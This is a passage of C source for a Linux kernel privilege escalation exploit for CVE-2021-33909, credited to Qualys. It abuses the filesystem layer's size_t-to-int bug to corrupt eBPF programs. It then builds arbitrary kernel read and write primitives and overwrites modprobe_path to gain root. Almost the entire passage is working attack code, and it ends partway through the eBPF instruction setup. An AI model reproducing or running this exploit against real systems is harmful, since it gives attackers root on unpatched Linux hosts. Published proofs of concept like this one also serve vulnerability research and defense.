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exploit.c
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exploit.c
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/*
* CVE-2021-33909: size_t-to-int vulnerability in Linux's filesystem layer
* gcc -D BLOCK_VIA_USERFAULTFD -o exploit exploit.c -pthread
* gcc -D BLOCK_VIA_FUSE -o exploit exploit.c -pthread
* Copyright (C) 2021 Qualys, Inc.
*
* This program is free software: you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation, either version 3 of the License, or
* (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
#if BLOCK_VIA_USERFAULTFD && BLOCK_VIA_FUSE
# error "Either BLOCK_VIA_USERFAULTFD or BLOCK_VIA_FUSE must be defined"
#elif !BLOCK_VIA_USERFAULTFD && !BLOCK_VIA_FUSE
# error "Either BLOCK_VIA_USERFAULTFD or BLOCK_VIA_FUSE must be defined"
#endif
#define BPF_PSEUDO_MAP_VALUE 2
#define _GNU_SOURCE
#include <asm/types.h>
#include <dirent.h>
#include <errno.h>
#include <fcntl.h>
#include <limits.h>
#include <linux/bpf.h>
#include <linux/netlink.h>
#include <linux/userfaultfd.h>
#include <pthread.h>
#include <sched.h>
#include <stddef.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/ioctl.h>
#include <sys/mman.h>
#include <sys/mount.h>
#include <sys/param.h>
#include <sys/resource.h>
#include <sys/socket.h>
#include <sys/stat.h>
#include <sys/syscall.h>
#include <sys/time.h>
#include <sys/types.h>
#include <sys/un.h>
#include <sys/wait.h>
#include <unistd.h>
static const size_t offsetof_struct_bpf_map_ops_get_next_key = 32;
static const size_t offsetof_struct_bpf_array_ops = 0;
static const size_t offsetof_struct_bpf_array_map_type = 24;
static const size_t offsetof_struct_bpf_array_key_size = 28;
static const size_t offsetof_struct_bpf_array_value_size = 32;
static const size_t offsetof_struct_bpf_array_max_entries = 36;
static const size_t offsetof_struct_bpf_array_spin_lock_off = 44;
static const size_t offsetof_struct_bpf_array_btf = 64;
#define PAGE_SIZE (4096)
#define PAGE_ALLOC_COSTLY_ORDER 3
#define THREAD_SIZE (PAGE_SIZE << 2)
#define die() do { \
fprintf(stderr, "died in %s: %u\n", __func__, __LINE__); \
exit(EXIT_FAILURE); \
} while (0)
static void
send_recv_state(const int sock, const char * const sstate, const char rstate)
{
if (sstate) {
if (send(sock, sstate, 1, MSG_NOSIGNAL) != 1) die();
}
if (rstate) {
char state = 0;
if (read(sock, &state, 1) != 1) die();
if (state != rstate) die();
}
}
static const char * bigdir;
static char onedir[NAME_MAX + 1];
typedef struct {
pid_t pid;
int socks[2];
size_t count;
int delete;
} t_userns;
#define USERNS (1UL << 1)
static int
userns_fn(void * const arg)
{
if (!arg) die();
const t_userns * const userns = arg;
const int sock = userns->socks[1];
if (close(userns->socks[0])) die();
send_recv_state(sock, NULL, 'A');
size_t n;
if (chdir(bigdir)) die();
for (n = 0; n <= userns->count / (1 + (sizeof(onedir)-1) * 4); n++) {
if (chdir(onedir)) die();
}
char device[] = "./device.XXXXXX";
if (!mkdtemp(device)) die();
char mpoint[] = "/tmp/mpoint.XXXXXX";
if (!mkdtemp(mpoint)) die();
if (mount(device, mpoint, NULL, MS_BIND, NULL)) die();
if (userns->delete) {
if (rmdir(device)) die();
char device[] = "/tmp/device.XXXXXX";
if (!mkdtemp(device)) die();
char mpoint[] = "/tmp/mpoint.XXXXXX";
if (!mkdtemp(mpoint)) die();
if (mount(device, mpoint, NULL, MS_BIND, NULL)) die();
if (rmdir(device)) die();
}
if (chdir("/")) die();
send_recv_state(sock, "B", 'C');
const int fd = open("/proc/self/mountinfo", O_RDONLY);
if (fd <= -1) die();
static char buf[1UL << 20];
size_t len = 0;
for (;;) {
ssize_t nbr = read(fd, buf, 1024);
if (nbr <= 0) die();
for (;;) {
const char * nl = memchr(buf, '\n', nbr);
if (!nl) break;
nl++;
if (memmem(buf, nl - buf, "\\134", 4)) die();
nbr -= nl - buf;
memmove(buf, nl, nbr);
len = 0;
}
len += nbr;
if (memmem(buf, nbr, "\\134", 4)) break;
}
send_recv_state(sock, "D", 'E');
if (userns->delete) {
for (;;) {
const ssize_t nbr = read(fd, buf, sizeof(buf) - len % sizeof(buf));
if (nbr <= 0) die();
if (memchr(buf, '\n', nbr)) break;
len += nbr;
}
if (read(fd, buf, sizeof(buf)) != 0) die();
send_recv_state(sock, "F", 'G');
} else {
for (;;) {
const ssize_t nbr = read(fd, buf, sizeof(buf));
if (nbr <= 0) die();
if (memchr(buf, '\n', nbr)) die();
const char * const deleted = memmem(buf, nbr, "//deleted", 10);
if (deleted) {
len += deleted - buf;
break;
}
len += nbr;
}
send_recv_state(sock, "F", 0);
if (send(sock, &len, sizeof(len), MSG_NOSIGNAL) != (ssize_t)sizeof(len)) die();
send_recv_state(sock, NULL, 'G');
if (close(fd)) die();
send_recv_state(sock, "H", 'I');
}
die();
}
static void
update_id_map(char * const mapping, const char * const map_file)
{
const size_t map_len = strlen(mapping);
if (map_len >= SSIZE_MAX) die();
if (map_len <= 0) die();
size_t i;
for (i = 0; i < map_len; i++) {
if (mapping[i] == ',')
mapping[i] = '\n';
}
const int fd = open(map_file, O_WRONLY);
if (fd <= -1) die();
if (write(fd, mapping, map_len) != (ssize_t)map_len) die();
if (close(fd)) die();
}
static void
proc_setgroups_write(const pid_t child_pid, const char * const str)
{
const size_t str_len = strlen(str);
if (str_len >= SSIZE_MAX) die();
if (str_len <= 0) die();
char setgroups_path[64];
snprintf(setgroups_path, sizeof(setgroups_path), "/proc/%ld/setgroups", (long)child_pid);
const int fd = open(setgroups_path, O_WRONLY);
if (fd <= -1) {
if (fd != -1) die();
if (errno != ENOENT) die();
return;
}
if (write(fd, str, str_len) != (ssize_t)str_len) die();
if (close(fd)) die();
}
static void
fork_userns(t_userns * const userns, const size_t size, const int delete)
{
static const size_t stack_size = (1UL << 20) + 2 * PAGE_SIZE;
static char * stack = NULL;
if (!stack) {
stack = mmap(NULL, stack_size, PROT_NONE, MAP_PRIVATE | MAP_ANONYMOUS | MAP_STACK, -1, 0);
if (!stack || stack == MAP_FAILED) die();
if (mprotect(stack + PAGE_SIZE, stack_size - 2 * PAGE_SIZE, PROT_READ | PROT_WRITE)) die();
}
if (!userns) die();
userns->count = size / 2;
userns->delete = delete;
if (socketpair(AF_UNIX, SOCK_STREAM, 0, userns->socks)) die();
userns->pid = clone(userns_fn, stack + stack_size - PAGE_SIZE, CLONE_NEWUSER | CLONE_NEWNS | SIGCHLD, userns);
if (userns->pid <= -1) die();
if (close(userns->socks[1])) die();
userns->socks[1] = -1;
char map_path[64], map_buf[64];
snprintf(map_path, sizeof(map_path), "/proc/%ld/uid_map", (long)userns->pid);
snprintf(map_buf, sizeof(map_buf), "0 %ld 1", (long)getuid());
update_id_map(map_buf, map_path);
proc_setgroups_write(userns->pid, "deny");
snprintf(map_path, sizeof(map_path), "/proc/%ld/gid_map", (long)userns->pid);
snprintf(map_buf, sizeof(map_buf), "0 %ld 1", (long)getgid());
update_id_map(map_buf, map_path);
send_recv_state(*userns->socks, "A", 'B');
}
static void
wait_userns(t_userns * const userns)
{
if (!userns) die();
if (kill(userns->pid, SIGKILL)) die();
int status = 0;
if (waitpid(userns->pid, &status, 0) != userns->pid) die();
userns->pid = -1;
if (!WIFSIGNALED(status)) die();
if (WTERMSIG(status) != SIGKILL) die();
if (close(*userns->socks)) die();
*userns->socks = -1;
}
#define BPF_LOG_STATS 4
#define BPF_ALU64_REG(OP, DST, SRC) \
((struct bpf_insn) { \
.code = BPF_ALU64 | BPF_OP(OP) | BPF_X, \
.dst_reg = DST, \
.src_reg = SRC, \
.off = 0, \
.imm = 0 })
#define BPF_ALU64_IMM(OP, DST, IMM) \
((struct bpf_insn) { \
.code = BPF_ALU64 | BPF_OP(OP) | BPF_K, \
.dst_reg = DST, \
.src_reg = 0, \
.off = 0, \
.imm = IMM })
#define BPF_MOV64_IMM(DST, IMM) \
((struct bpf_insn) { \
.code = BPF_ALU64 | BPF_MOV | BPF_K, \
.dst_reg = DST, \
.src_reg = 0, \
.off = 0, \
.imm = IMM })
#define BPF_LD_IMM64_RAW(DST, SRC, IMM) \
((struct bpf_insn) { \
.code = BPF_LD | BPF_DW | BPF_IMM, \
.dst_reg = DST, \
.src_reg = SRC, \
.off = 0, \
.imm = (__u32) (IMM) }), \
((struct bpf_insn) { \
.code = 0, /* zero is reserved opcode */ \
.dst_reg = 0, \
.src_reg = 0, \
.off = 0, \
.imm = ((__u64) (IMM)) >> 32 })
#define BPF_LDX_MEM(SIZE, DST, SRC, OFF) \
((struct bpf_insn) { \
.code = BPF_LDX | BPF_SIZE(SIZE) | BPF_MEM, \
.dst_reg = DST, \
.src_reg = SRC, \
.off = OFF, \
.imm = 0 })
#define BPF_STX_MEM(SIZE, DST, SRC, OFF) \
((struct bpf_insn) { \
.code = BPF_STX | BPF_SIZE(SIZE) | BPF_MEM, \
.dst_reg = DST, \
.src_reg = SRC, \
.off = OFF, \
.imm = 0 })
#define BPF_ST_MEM(SIZE, DST, OFF, IMM) \
((struct bpf_insn) { \
.code = BPF_ST | BPF_SIZE(SIZE) | BPF_MEM, \
.dst_reg = DST, \
.src_reg = 0, \
.off = OFF, \
.imm = IMM })
#define BPF_JMP_IMM(OP, DST, IMM, OFF) \
((struct bpf_insn) { \
.code = BPF_JMP | BPF_OP(OP) | BPF_K, \
.dst_reg = DST, \
.src_reg = 0, \
.off = OFF, \
.imm = IMM })
#define BPF_JMP_A(OFF) \
((struct bpf_insn) { \
.code = BPF_JMP | BPF_JA, \
.dst_reg = 0, \
.src_reg = 0, \
.off = OFF, \
.imm = 0 })
#define BPF_EXIT_INSN() \
((struct bpf_insn) { \
.code = BPF_JMP | BPF_EXIT, \
.dst_reg = 0, \
.src_reg = 0, \
.off = 0, \
.imm = 0 })
static int
bpf(int cmd, union bpf_attr *attr, unsigned int size)
{
return syscall(__NR_bpf, cmd, attr, size);
}
static int
bpf_create_map(enum bpf_map_type map_type,
unsigned int key_size,
unsigned int value_size,
unsigned int max_entries)
{
union bpf_attr attr = {
.map_type = map_type,
.key_size = key_size,
.value_size = value_size,
.max_entries = max_entries
};
return bpf(BPF_MAP_CREATE, &attr, sizeof(attr));
}
static int
bpf_update_elem(int fd, const void *key, const void *value,
uint64_t flags)
{
union bpf_attr attr = {
.map_fd = fd,
.key = (uintptr_t)key,
.value = (uintptr_t)value,
.flags = flags,
};
return bpf(BPF_MAP_UPDATE_ELEM, &attr, sizeof(attr));
}
static int
bpf_lookup_elem(int fd, const void *key, void *value)
{
union bpf_attr attr = {
.map_fd = fd,
.key = (uintptr_t)key,
.value = (uintptr_t)value,
};
return bpf(BPF_MAP_LOOKUP_ELEM, &attr, sizeof(attr));
}
static int
bpf_prog_load(enum bpf_prog_type prog_type,
const struct bpf_insn *insns, unsigned int insn_cnt,
const char *license,
char *log_buf, unsigned int log_size, unsigned int log_level)
{
union bpf_attr attr = {
.prog_type = prog_type,
.insns = (uintptr_t)insns,
.insn_cnt = insn_cnt,
.license = (uintptr_t)license,
.log_buf = (uintptr_t)log_buf,
.log_size = log_size,
.log_level = log_level,
};
return bpf(BPF_PROG_LOAD, &attr, sizeof(attr));
}
enum {
OP_TEST = 0,
OP_READ32,
OP_READ64,
OP_WRITE32,
OP_WRITE64,
};
enum {
NO_CORRUPTION = 100,
EARLY_CORRUPTION,
DOUBLE_CORRUPTION,
};
typedef struct {
uint64_t op;
uint64_t what;
uint16_t where;
uint64_t result;
uint64_t result2;
uint64_t done;
} t_control;
static int control_fd = -1;
static char corrupt_map[3 << 16];
static int corrupt_fd = -1;
static char storage_map[PAGE_SIZE << (PAGE_ALLOC_COSTLY_ORDER + 1)];
static int storage_fd = -1;
static void
op(const int sock, t_control * const control)
{
if (sock <= -1) die();
if (!control) die();
if (control_fd <= -1) die();
if (control->op != OP_TEST && !control->where) die();
static const uint32_t key = 0;
if (bpf_update_elem(control_fd, &key, control, BPF_ANY)) die();
if (write(sock, "A", 1) != 1) die();
for (;;) {
memset(control, 0, sizeof(*control));
if (bpf_lookup_elem(control_fd, &key, control)) die();
if (control->done) {
if (control->done != 1) die();
return;
}
}
die();
}
static t_control
op_test(const int sock)
{
t_control control = { .op = OP_TEST };
op(sock, &control);
return control;
}
static size_t sizeof_struct_bpf_array;
static uint16_t
offset_to_where(const size_t offset)
{
if (sizeof_struct_bpf_array <= 0) die();
if (offset >= sizeof_struct_bpf_array) die();
const size_t where = sizeof(corrupt_map) / 4 - sizeof_struct_bpf_array + offset;
if (where > UINT16_MAX) die();
return where;
}
static uint32_t
op_read32(const int sock, const size_t offset)
{
t_control control = {
.op = OP_READ32,
.where = offset_to_where(offset),
};
op(sock, &control);
if (control.result > UINT32_MAX) die();
return control.result;
}
static uint64_t
op_read64(const int sock, const size_t offset)
{
t_control control = {
.op = OP_READ64,
.where = offset_to_where(offset),
};
op(sock, &control);
return control.result;
}
static void
op_write32(const int sock, const size_t offset, const uint64_t what)
{
if (what > UINT32_MAX) die();
t_control control = {
.op = OP_WRITE32,
.what = what,
.where = offset_to_where(offset),
};
op(sock, &control);
}
static void
op_write64(const int sock, const size_t offset, const uint64_t what)
{
t_control control = {
.op = OP_WRITE64,
.what = what,
.where = offset_to_where(offset),
};
op(sock, &control);
}
static inline int
is_kernel_addr(const uint64_t addr)
{
return ((addr >> 48) == 0xffff);
}
static inline int
is_kernel_text_addr(const uint64_t addr)
{
return ((addr >> 32) == 0xffffffff);
}
static size_t offsetof_struct_btf_id;
static uint32_t
arbitrary_read32(const int sock, const uint64_t where)
{
if (!is_kernel_addr(where)) die();
op_write64(sock, offsetof_struct_bpf_array_btf, where - offsetof_struct_btf_id);
struct bpf_map_info info;
memset(&info, 0, sizeof(info));
union bpf_attr attr = {
.info.bpf_fd = corrupt_fd,
.info.info = (uintptr_t)&info,
.info.info_len = sizeof(info),
};
if (bpf(BPF_OBJ_GET_INFO_BY_FD, &attr, sizeof(attr))) die();
if (info.value_size != sizeof(corrupt_map)) die();
return info.btf_id;
}
static void
arbitrary_read(const int sock, uint64_t where, void * const what, size_t size)
{
if (!what) die();
uint32_t * what32 = what;
if (size % sizeof(uint32_t)) die();
for ( ; size; size -= sizeof(uint32_t)) {
*what32++ = arbitrary_read32(sock, where);
where += sizeof(uint32_t);
}
}
static void
arbitrary_write32(const uint64_t where, const uint64_t what)
{
if (!is_kernel_addr(where)) die();
if (what > UINT32_MAX) die();
const uint32_t what32 = what;
memset(corrupt_map, 0, sizeof(corrupt_map));
*(uint32_t *)corrupt_map = what32 - 1;
static const uint32_t key = 0;
if (bpf_update_elem(corrupt_fd, &key, corrupt_map, where)) {
printf("what 0x%lx errno %d (%s)\n", (unsigned long)what, errno, strerror(errno));
}
}
static void
arbitrary_write(uint64_t where, const void * const what, size_t size)
{
if (!what) die();
const uint32_t * what32 = what;
if (size % sizeof(uint32_t)) die();
for ( ; size; size -= sizeof(uint32_t)) {
arbitrary_write32(where, *what32++);
where += sizeof(uint32_t);
}
}
#define KMOD_PATH_LEN 256
static char modprobe_path[KMOD_PATH_LEN];
static size_t modprobe_path_len;
static char self_exe[sizeof(modprobe_path)];
static size_t self_exe_len;
static enum {
STAGE_CORRUPTED_INSN = 1,
STAGE_ADDROF_STORAGE,
STAGE_MODPROBE_PATH,
} stage = STAGE_CORRUPTED_INSN;
static const size_t corrupted_add = 0x2f2f0000;
static size_t uncorrupted_sum;
static size_t indexof_corrupted_prog;
static size_t indexof_corrupted_insn;
static uint64_t addrof_storage_map_value;
typedef struct {
size_t index;
pthread_t tid;
char faults[3];
} t_thread;
#define THREADS (1024)
static t_thread threads[THREADS];
static const size_t insn_cnt = (THREAD_SIZE - PAGE_SIZE) / sizeof(struct bpf_insn);
static const size_t insns_size = insn_cnt * sizeof(struct bpf_insn);
static char * insns;
static char * license;
static char * log_buf;
static void *
thread_fn(void * const arg)
{
if (!arg) die();
const t_thread * const thread = arg;
if (!insns) die();
if (!license) die();
if (!log_buf) die();
const struct bpf_insn * const this_insns = (const void *)(insns + thread->index * insns_size);
const char * const this_license = license + thread->index * PAGE_SIZE;
/***/ char * const this_log_buf = log_buf + thread->index * PAGE_SIZE;
uintptr_t retval = EXIT_FAILURE;
const int prog_fd = bpf_prog_load(BPF_PROG_TYPE_SOCKET_FILTER,
this_insns, insn_cnt, this_license, this_log_buf, PAGE_SIZE, BPF_LOG_STATS);
if (prog_fd <= -1) {
if (prog_fd != -1) die();
if (errno != EINVAL) die();
retval = EARLY_CORRUPTION;
pthread_exit((void *)retval);
die();
}
int socks[2];
if (socketpair(AF_UNIX, SOCK_DGRAM, 0, socks)) die();
if (setsockopt(socks[0], SOL_SOCKET, SO_ATTACH_BPF, &prog_fd, sizeof(prog_fd))) die();
const int sock = socks[1];
if (!uncorrupted_sum) die();
const t_control test = op_test(sock);
if (test.result == uncorrupted_sum) {
if (test.result2) die();
retval = NO_CORRUPTION;
goto cleanup;
}
retval = DOUBLE_CORRUPTION;
printf("test 0x%lx 0x%lx\n", (unsigned long)test.result, (unsigned long)test.result2);
if (STAGE_CORRUPTED_INSN == stage) {
if (indexof_corrupted_insn) die();
if (addrof_storage_map_value) die();
if (test.result <= corrupted_add) die();
const size_t corrupted_sum = test.result - corrupted_add;
if (corrupted_sum >= uncorrupted_sum) die();
indexof_corrupted_insn = uncorrupted_sum - corrupted_sum;
printf("indexof_corrupted_insn 0x%zx\n", indexof_corrupted_insn);
if (indexof_corrupted_insn >= insn_cnt) die();
if (indexof_corrupted_insn <= 0) die();
goto cleanup;
}
if (!indexof_corrupted_insn) die();
if (test.result != uncorrupted_sum + corrupted_add) die();
if (STAGE_ADDROF_STORAGE == stage) {
if (addrof_storage_map_value) die();
addrof_storage_map_value = test.result2;
printf("addrof_storage_map_value 0x%lx\n", (unsigned long)addrof_storage_map_value);
if (!is_kernel_addr(addrof_storage_map_value)) die();
goto cleanup;
}
if (!addrof_storage_map_value) die();
if (stage != STAGE_MODPROBE_PATH) die();
const size_t check_sizeof_struct_bpf_array = addrof_storage_map_value & (PAGE_SIZE-1);
printf("sizeof_struct_bpf_array 0x%zx\n", check_sizeof_struct_bpf_array);
if (check_sizeof_struct_bpf_array <= 0) die();
if (check_sizeof_struct_bpf_array >= 1024) die();
sizeof_struct_bpf_array = check_sizeof_struct_bpf_array;
const uint64_t addrof_array_map_ops = op_read64(sock, offsetof_struct_bpf_array_ops);
printf("addrof_array_map_ops 0x%lx\n", (unsigned long)addrof_array_map_ops);
if (!is_kernel_text_addr(addrof_array_map_ops)) die();
size_t i;
for (i = 0; i < sizeof(storage_map) / sizeof(uint32_t); i++) {
((uint32_t *)storage_map)[i] = i * sizeof(uint32_t);
}
static const uint32_t key = 0;
if (bpf_update_elem(storage_fd, &key, storage_map, BPF_ANY)) die();
if (op_read64(sock, offsetof_struct_bpf_array_btf) != 0) die();
const size_t check_offsetof_struct_btf_id = arbitrary_read32(sock, addrof_storage_map_value);
printf("offsetof_struct_btf_id 0x%zx\n", check_offsetof_struct_btf_id);
if (check_offsetof_struct_btf_id <= 0) die();
if (check_offsetof_struct_btf_id >= 1024) die();
if (check_offsetof_struct_btf_id % sizeof(uint32_t)) die();
offsetof_struct_btf_id = check_offsetof_struct_btf_id;
uint64_t check_addrof_array_map_ops = 0;
arbitrary_read(sock, addrof_storage_map_value - sizeof_struct_bpf_array + offsetof_struct_bpf_array_ops,
&check_addrof_array_map_ops, sizeof(check_addrof_array_map_ops));
if (check_addrof_array_map_ops != addrof_array_map_ops) die();
unsigned char what[PAGE_SIZE];
uint64_t where;
uint64_t addrof_request_module_string = 0;
memset(what, 0, sizeof(what));
for (where = addrof_array_map_ops; ; ) {
memcpy(what, what + sizeof(what) / 2, sizeof(what) / 2);
arbitrary_read(sock, where, what + sizeof(what) / 2, sizeof(what) / 2);
where += sizeof(what) / 2;
static const char request_module[] = "__request_module";
const unsigned char * const string = memmem(what, sizeof(what), request_module, sizeof(request_module));
if (!string) continue;
addrof_request_module_string = where - sizeof(what) + (string - what);
break;
}
printf("addrof_request_module_string 0x%lx\n", (unsigned long)addrof_request_module_string);
if (!is_kernel_text_addr(addrof_request_module_string)) die();
uint64_t addrof_request_module_function = 0;
for (where = addrof_request_module_string & ~(uint64_t)(sizeof(uint32_t)-1); ; ) {
if (where <= addrof_array_map_ops) goto cleanup_read;
{
const int32_t offset = arbitrary_read32(sock, where);
const uint64_t string = where + offset;
where -= sizeof(uint32_t);
if (offset <= 0) continue;
if (offset >= (128 << 20)) continue;
if (string != addrof_request_module_string) continue;
}
{
const int32_t offset = arbitrary_read32(sock, where);
const uint64_t symbol = where + offset;
if (offset >= 0) continue;
if (offset <= -(128 << 20)) continue;
if (symbol >= addrof_array_map_ops) continue;
addrof_request_module_function = symbol;
break;
}
}
printf("addrof_request_module_function 0x%lx\n", (unsigned long)addrof_request_module_function);
if (!is_kernel_text_addr(addrof_request_module_function)) die();
uint64_t addrof_modprobe_path = 0;
arbitrary_read(sock, addrof_request_module_function, what, sizeof(what));
const unsigned char * code;
for (code = what; ; code++) {
if (code >= what + MIN(256, sizeof(what) / 2)) goto cleanup_read;
if (code[0] != 0x80) continue;
if (code[1] != 0x3d) continue;
if (code[6] != 0x00) continue;
const int32_t offset = *(const int32_t *)(code + 2);
const uint64_t addr = addrof_request_module_function + (code - what) + 7 + offset;
if (offset <= 0) continue;
if (offset >= (128 << 20)) continue;
if (addr <= addrof_request_module_string) continue;
addrof_modprobe_path = addr;
break;
}
printf("addrof_modprobe_path 0x%lx\n", (unsigned long)addrof_modprobe_path);
if (!is_kernel_text_addr(addrof_modprobe_path)) die();
memset(what, 0, sizeof(what));
if (sizeof(modprobe_path) > sizeof(what)) die();
arbitrary_read(sock, addrof_modprobe_path, what, sizeof(modprobe_path));
if (memcmp(what, modprobe_path, modprobe_path_len + 1) != 0) goto cleanup_read;
printf("addrof_modprobe_path ok\n");
memset(storage_map, 0, sizeof(storage_map));
arbitrary_read(sock, addrof_array_map_ops, storage_map, PAGE_SIZE);
const uint64_t addrof_array_map_get_next_key = *(const uint64_t *)(storage_map + offsetof_struct_bpf_map_ops_get_next_key);
printf("addrof_array_map_get_next_key 0x%lx\n", (unsigned long)addrof_array_map_get_next_key);
if (!is_kernel_text_addr(addrof_array_map_get_next_key)) die();
for (i = 0; i < PAGE_SIZE / sizeof(uint64_t); i++) {
if (!((uint64_t *)storage_map)[i]) {
((uint64_t *)storage_map)[i] = addrof_array_map_get_next_key;
}
}
if (bpf_update_elem(storage_fd, &key, storage_map, BPF_ANY)) die();
uint64_t check_addrof_array_map_get_next_key = 0;
arbitrary_read(sock, addrof_storage_map_value + offsetof_struct_bpf_map_ops_get_next_key,
&check_addrof_array_map_get_next_key, sizeof(check_addrof_array_map_get_next_key));
if (check_addrof_array_map_get_next_key != addrof_array_map_get_next_key) die();
if (op_read32(sock, offsetof_struct_bpf_array_map_type) != BPF_MAP_TYPE_ARRAY ||
op_read32(sock, offsetof_struct_bpf_array_key_size) != 4 ||
op_read32(sock, offsetof_struct_bpf_array_value_size) != sizeof(corrupt_map) ||
op_read32(sock, offsetof_struct_bpf_array_max_entries) != 1 ||
op_read32(sock, offsetof_struct_bpf_array_spin_lock_off) != (uint32_t)(-EINVAL)) {
goto cleanup_read;
}
op_write64(sock, offsetof_struct_bpf_array_ops, addrof_storage_map_value);
op_write32(sock, offsetof_struct_bpf_array_max_entries, UINT32_MAX);
op_write32(sock, offsetof_struct_bpf_array_spin_lock_off, 0);
op_write32(sock, offsetof_struct_bpf_array_map_type, BPF_MAP_TYPE_STACK);
arbitrary_write(addrof_modprobe_path, self_exe, (self_exe_len + sizeof(uint32_t)) & ~(sizeof(uint32_t)-1));
cleanup_write:
op_write32(sock, offsetof_struct_bpf_array_map_type, BPF_MAP_TYPE_ARRAY);
op_write32(sock, offsetof_struct_bpf_array_spin_lock_off, (uint32_t)(-EINVAL));
op_write32(sock, offsetof_struct_bpf_array_max_entries, 1);
op_write64(sock, offsetof_struct_bpf_array_ops, addrof_array_map_ops);
cleanup_read:
op_write64(sock, offsetof_struct_bpf_array_btf, 0);
cleanup:
if (close(socks[0])) die();
if (close(socks[1])) die();
if (close(prog_fd)) die();
pthread_exit((void *)retval);
die();
}
static void
create_threads_now(void)
{
if (!insns) die();
if (!license) die();
if (!log_buf) die();
size_t i;
for (i = 0; i < THREADS; i++) {
threads[i].index = i;
if (pthread_create(&threads[i].tid, NULL, thread_fn, &threads[i])) die();
}
}
#if BLOCK_VIA_USERFAULTFD
static int
uffd_register(const int uffd, const void * const start, const size_t len)
{
struct uffdio_register uffdio_register = {
.range = { .start = (uintptr_t)start, .len = len },
.mode = UFFDIO_REGISTER_MODE_MISSING,
};
return ioctl(uffd, UFFDIO_REGISTER, &uffdio_register);
}
static void
read_faults(const int uffd, const char * const start, const size_t size, const size_t fault)
{
if (fault >= sizeof(threads->faults) / sizeof(*threads->faults)) die();
if ((uintptr_t)start % PAGE_SIZE) die();
if (size % PAGE_SIZE) die();
size_t i;
for (i = 0; i < THREADS; i++) {
struct uffd_msg msg;
if (read(uffd, &msg, sizeof(msg)) != sizeof(msg)) die();
if (msg.event != UFFD_EVENT_PAGEFAULT) die();
if (msg.arg.pagefault.address < (uintptr_t)start) die();
if (msg.arg.pagefault.address >= (uintptr_t)start + THREADS * size) die();
const size_t index = (msg.arg.pagefault.address - (uintptr_t)start) / size;
if (index >= THREADS) die();
if (msg.arg.pagefault.address != (uintptr_t)start + index * size) die();
if (threads[index].faults[fault]) die();
threads[index].faults[fault] = 1;
}
}
static struct bpf_insn * insns_orig;
static char * license_orig;
static int uffd = -1;
static void
create_threads(void)
{
if (insns_orig) die();
insns_orig = mmap(NULL, insns_size, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
#elif BLOCK_VIA_FUSE
static const struct bpf_insn *
create_insns_orig(void)
{
struct bpf_insn * const insns_orig = mmap(NULL, insns_size, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
#endif
if (insns_orig == MAP_FAILED) die();
if (insns_size % PAGE_SIZE) die();
if (insns_size % sizeof(struct bpf_insn)) die();
if (control_fd <= -1) die();
if (corrupt_fd <= -1) die();
if (storage_fd <= -1) die();
enum {
REG_SPECIAL = BPF_REG_1,
REG_STORAGE,
REG_CONTROL,
REG_CORRUPT,
REG_OP,
REG_WHAT,
REG_WHERE,
};
if (BPF_REG_5 != REG_OP) die();
const struct bpf_insn prologue[] = {
/* 0*/ BPF_LD_IMM64_RAW(REG_STORAGE, BPF_PSEUDO_MAP_VALUE, storage_fd),
/* 2*/ BPF_LD_IMM64_RAW(REG_CORRUPT, BPF_PSEUDO_MAP_VALUE, corrupt_fd),
/* 4*/ BPF_ALU64_IMM(BPF_ADD, REG_CORRUPT, sizeof(corrupt_map) / 2),
BPF_MOV64_IMM(REG_SPECIAL, 0),
BPF_MOV64_IMM(BPF_REG_5, 0),
};
if (sizeof(prologue) >= insns_size) die();
memcpy(insns_orig, prologue, sizeof(prologue));
switch (stage) {
case STAGE_MODPROBE_PATH:
insns_orig[4] = BPF_ALU64_IMM(BPF_ADD, REG_CORRUPT, 0);
/* fall through */
case STAGE_CORRUPTED_INSN:
insns_orig[0] = BPF_MOV64_IMM(REG_STORAGE, 0);
insns_orig[1] = BPF_MOV64_IMM(REG_STORAGE, 0);
break;
case STAGE_ADDROF_STORAGE:
break;
default:
die();
}
const struct bpf_insn epilogue[] = {
BPF_LD_IMM64_RAW(REG_CONTROL, BPF_PSEUDO_MAP_VALUE, control_fd),
BPF_LDX_MEM(BPF_DW, REG_OP, REG_CONTROL, offsetof(t_control, op)),
BPF_LDX_MEM(BPF_DW, REG_WHAT, REG_CONTROL, offsetof(t_control, what)),
BPF_LDX_MEM(BPF_H, REG_WHERE, REG_CONTROL, offsetof(t_control, where)),
BPF_ALU64_IMM(BPF_SUB, REG_CORRUPT, sizeof(corrupt_map) / 4),
BPF_ALU64_REG(BPF_ADD, REG_CORRUPT, REG_WHERE),
/* 1*/ BPF_JMP_IMM(BPF_JNE, REG_OP, OP_READ32, 4 - 2),
/* 2*/ BPF_LDX_MEM(BPF_W, REG_WHAT, REG_CORRUPT, 0),
/* 3*/ BPF_JMP_A(6 - 4),
/* 4*/ BPF_JMP_IMM(BPF_JNE, REG_OP, OP_READ64, 8 - 5),
/* 5*/ BPF_LDX_MEM(BPF_DW, REG_WHAT, REG_CORRUPT, 0),
/* 6*/ BPF_STX_MEM(BPF_DW, REG_CONTROL, REG_WHAT, offsetof(t_control, result)),
/* 7*/ BPF_JMP_A(16 - 8),
/* 8*/ BPF_JMP_IMM(BPF_JNE, REG_OP, OP_WRITE32, 11 - 9),
/* 9*/ BPF_STX_MEM(BPF_W, REG_CORRUPT, REG_WHAT, 0),
/*10*/ BPF_JMP_A(16 - 11),
/*11*/ BPF_JMP_IMM(BPF_JNE, REG_OP, OP_WRITE64, 14 - 12),
/*12*/ BPF_STX_MEM(BPF_DW, REG_CORRUPT, REG_WHAT, 0),
/*13*/ BPF_JMP_A(16 - 14),
/*14*/ BPF_STX_MEM(BPF_DW, REG_CONTROL, REG_SPECIAL, offsetof(t_control, result)),